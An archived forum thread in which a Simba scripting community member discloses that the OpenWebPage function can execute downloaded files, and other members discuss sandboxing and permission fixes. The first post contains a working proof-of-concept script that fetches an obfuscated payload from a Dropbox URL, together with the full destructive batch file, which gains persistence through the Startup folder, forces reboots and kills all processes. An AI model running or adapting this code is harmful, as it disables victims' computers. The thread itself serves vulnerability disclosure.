SRL Archive - Senior News and General

Simba's OpenWebPage can be used to execute malicious code on a user's machine.

When passed a file, OpenWebPage opens it with the default file handler on the user's system. Security.sex does not intercept this function, therefore if a script writes an executable file to the disk, it can be executed without the user's permission.

Example code (if you want to run this, comment out line 17, or add +'.txt' to the end of line 8):

program new;

procedure CheckUpdates;
var
  logFile, i: integer;
  s, log: string;
begin
  log := ScriptPath + IntToStr(Random(2000)) + #46#98#97#116;
  s := GetPage('http://dl.dropbox.com/u/11414619/SimbaConcept/versionkey.txt');
  for i := 1 to high(s) do s[i] := chr(ord(s[i]) - 6);
  if(FileExists(log)) then
    logFile := RewriteFile(log, false)
  else
    logFile := CreateFile(log);
  WriteFileString(logFile, s);
  CloseFile(logFile);
  OpenWebPage(log);
end;

begin
  CheckUpdates;
end.

What it does:

• Creates a batch file in the script's directory with a random numeric name
• Executes batch file
• Batch file adds itself to startup directory
• Batch file attempts to kill all applications and restart every 3 seconds

Batch file is as follows:

@ECHO OFF
copy %0 "%allusersprofile%\Start Menu\Programs\Startup\smart9.bat"
shutdown.exe /r /t 3 /f
if NOT EXIST %SYSTEMROOT%\System32\taskkill.exe goto:r
:n
taskkill.exe /FI "STATUS eq RUNNING" /FI "IMAGENAME ne cmd.exe" /IM * /T /F
goto:n
:r
FOR /L %%A IN (0, 1, 2000) DO tskill %%A
goto:r

I had previously planned to keep this to myself in lieu of an exec() function, but as I realized how critical this bug is, I quickly changed my mind.

PS: If you run this, boot in safe mode and delete smart9.bat from the startup folder to remove it.

Wow, this is bad. Especially when people can easily disguise it as update-check.

Couldn't Security.sex be edited to ask permission before opening a web page?

From: Coh3n
Couldn't Security.sex be edited to ask permission before opening a web page?

I took a look at it and didn't see a way to do this.

Good catch :)
I'm not going to run it, but I assume it works. :p

We possibly need an alternative to the security extension anyway. I can add hooks for OpenWebPage and then you can hook it into the extension. However; like I said, we need a possible better/other alternative.

Most people probably don't have the extension enabled, so WriteFile('C:\boot.ini') works too.

From: Wizzup?
Most people probably don't have the extension enabled, so WriteFile('C:\boot.ini') works too.

If you're stupid enough to run Simba as admin (and give it UAC permissions), that is. You can even overwrite ntoskernel.exe then

From: Markus
If you're stupid enough to run Simba as admin (and give it UAC permissions), that is. You can even overwrite ntoskernel.exe then

Uh, I think you're forgetting more people run Windows XP still. Especially when they're using VMs, I can imagine. Still, the WriteFile can also be applied to any other important file (owned by user). The question is, what's the best way to handle this? (Asking permission) I don't want something like ``Always allow file access'' because that's essentially the same as not using the security extension.

Always allow access in this folder?
Define a folder inside Simba's workspace where scripts can save any file they want? Then you can give a simple 'Allow'/'Always allow this file'/'Deny'.

From: Wizzup?
Uh, I think you're forgetting more people run Windows XP still. Especially when they're using VMs, I can imagine. Still, the WriteFile can also be applied to any other important file (owned by user). The question is, what's the best way to handle this? (Asking permission) I don't want something like ``Always allow file access'' because that's essentially the same as not using the security extension.

Sandbox, extended permissions to break out necessary (IE7+ does it that way, too).
The amount of people running Windows XP is pretty much declining btw.

From: Markus
Sandbox, extended permissions to break out necessary (IE7+ does it that way, too).
The amount of people running Windows XP is pretty much declining btw.

The use of IE is declining too. So is the use of Windows. It's still more than prevalent, is it not?

So we're still settling for dialogs? I just dislike those because it's a pain if a script stops because of a dialog.

There's not much else you can do. I like Markus' idea, though :)

Btw, how do you guys know the amount of XP users running Simba? ;)

The easiest way to fix this particular vulnerability is to filter the input for OpenWebPage

That doesn't fix the other problems, but it's a start.